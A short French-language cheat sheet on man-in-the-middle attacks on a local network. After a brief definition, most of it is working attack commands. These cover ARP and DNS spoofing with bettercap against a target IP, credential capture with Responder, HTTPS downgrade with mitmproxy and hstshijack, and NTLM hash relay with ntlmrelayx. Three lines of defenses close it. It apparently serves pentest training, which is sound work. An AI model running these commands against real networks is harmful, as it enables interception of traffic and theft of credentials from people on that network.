Man in the Middle — Interception de trafic

MITM LAN

Qu'est-ce qu'une attaque MitM ?

Dans une attaque Man-in-the-Middle, l'attaquant se place entre deux parties qui communiquent. Il peut intercepter, lire, modifier ou injecter des données. Requiert généralement un accès au même réseau local (LAN).

Techniques et outils

# ARP Spoofing (technique la plus commune)
echo 1 > /proc/sys/net/ipv4/ip_forward
bettercap -iface eth0
> set arp.spoof.targets 192.168.1.10
> arp.spoof on
> net.sniff on

# DNS Spoofing
bettercap > dns.spoof on
bettercap > set dns.spoof.domains target.com

# Capturer les credentials
responder -I eth0 -dwv   # NTLM, HTTP, FTP, LDAP

HTTPS et contournements

# SSLStrip (si HSTS pas activé)
mitmproxy --mode transparent
bettercap > hstshijack.load

# NTLM Relay (capture + rejeu de hash)
ntlmrelayx.py -tf targets.txt -smb2support

# Défenses :
# HTTPS partout + HSTS
# VPN ou TLS sur toutes les communications
# Network monitoring (détection ARP anormal)